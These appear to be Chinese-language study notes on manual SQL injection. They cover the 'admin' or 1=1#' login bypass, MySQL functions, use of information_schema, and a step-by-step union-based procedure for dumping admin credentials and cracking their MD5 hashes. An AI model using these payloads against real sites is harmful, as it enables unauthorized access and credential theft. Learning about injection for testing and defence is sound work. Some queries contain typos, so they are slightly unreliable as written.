萬能密碼:本身寫的網站,找到登陸窗口(必須和數據庫交互)往裏插入構造的惡意代碼,最後能夠直接登陸進去,不須要登陸密碼,輸入的惡意代碼成爲萬能密碼
用戶名的地方沒有處理,密碼輸入1:admin' or 1=1#
註釋符號:# -- %25 %2d%2d --+
select * from 'user' where user = 'admin' or 1=1#' and password =' ';
再輸入2:admin' and 1=1#
出現萬能密碼的緣由:
後端代碼在執行的過程將用戶輸入的數據也當作代碼來執行,違背一個原則:代碼和數據相分離(本質問題)
前端的傳遞的數據能夠隨意控制,參數可控;後端對前端傳遞過來的數據沒有過濾或者過濾不謹慎,最終致使sql注入(緣由)
危害:數據泄露 脫庫 篡改網站 破壞數據庫 植入後門 getshell
分類:
請求方式:get post cookie
參數形式:整形 字符型 搜索
反饋類型:報錯 union 延時 布爾(時間/頁面顯示狀態)
數據庫類型:access mssql mysql oracle nosql等等
利用技術:布爾 報錯 內聯 堆疊 時間 聯合
手工注入中經常使用數據函數以及常量
@@tmpdir
@@datadir
@@basedir
@@version
@@hostname
ascii()
user()
version()
database()
concat()
group_concat()
concat()
substr()/substring()/mid()
substr():oracle,mysql,mssql substring():mysql,mssql mid():mysql注意:均有三個參數,第一個是被截取的字符,第二個是開始索引,第三個是截取的長度
left(pa1,pa2)pa1是被截取的字符串,從左邊開始截取,pa2是截取的長度
right(pa1,pa2)pa1是被截取的字符串,從右邊開始截取,pa2是截取的長度
sleep()讓數據庫休眠的
ord()顯示字符的ascll
if(條件,條件爲真時的返回值或者語句,條件爲假的返回值或者語句)
eg:if(1=1,true,false)
case when 條件then條件爲真時的返回值或者語句else條件爲假時的返回值或者語句end
eg:select 1,case when 1=1 then 'hello' else 'goodbye' end,3 --+
聯合查詢:select * from where user_id = 0.1 union select 1,2,user(),4,5,database(),7,
mysql數據庫中:一庫一表三字段
mysql>5.0
information_schema --mysql>5.0以後自帶的,系統庫,彙總(其餘數據庫的庫名、表名、字段名)
columns --存儲數據(庫名、表名、字段名),須要關注該表下的三個字段
table_schema --存儲其餘數據庫名的庫名
table_name 字段存儲其餘數據庫的表名
column_name --存儲其餘數據庫的字段名
select table_schema,table_name,column_name from information_schema.columns;
select table_schema,table_name,column_name from information_schema.columns where;
手工注入的步驟:
step1:檢測注入點(可能存在sql注入的地方),找到相似id(id/uid/typeid/sid~~~key)的參數,後面須要輸入一些檢測的惡意代碼(payload):
,
'and 1=1#
select * from users where id =
輸入的惡意payload被成功執行(頁面顯示效果以及報錯信息等),說明此處有sql注入點
接下來還要判斷注入的方式:主要根據頁面的回顯效果來決定使用哪一種注入技術,判斷從後臺數據庫中選擇的列數以及那幾列在前端顯示?
?typeid=1 order by 6%23
跟換數字,根據頁面的顯示效果判斷後臺數據庫選擇的列數,5列
union select 1,2,3,4,5%23
返回顯示2所在位置有輸出:
?typeid=-1 union select 1,user(),3,4,5%23
能夠根據頁面顯示效果可知在2的位置顯示到前端
step2:收集數據信息
?typeid=-1 union select 1,database(),3,4,5%23
group_concat(distinct table_schema)
?typeid=-1 union select 1,(select distinct table_schema from information_schema.columns;),3,4,5%23
step3:獲取當前數據庫下的表名
select table_name from information_schema.columns where table_schema =database();
step4:獲取當前數據庫指定表下的字段名
select group_connect(distinct column_name) from information_schema.columns where table_schema=database() and table_name = 表名(通常須要找後臺或敏感的數據表)(須要對錶名進行16位轉碼)
addtime,id,password,qx,username
step5:獲取字段數據
select concat(username,0x7e,password) from jdy_admin limit0,1;
step6:解密:pmd五、cmd五、chamd五、somd5中解密
找後臺登陸:(猜,漏洞掃描,信息收集)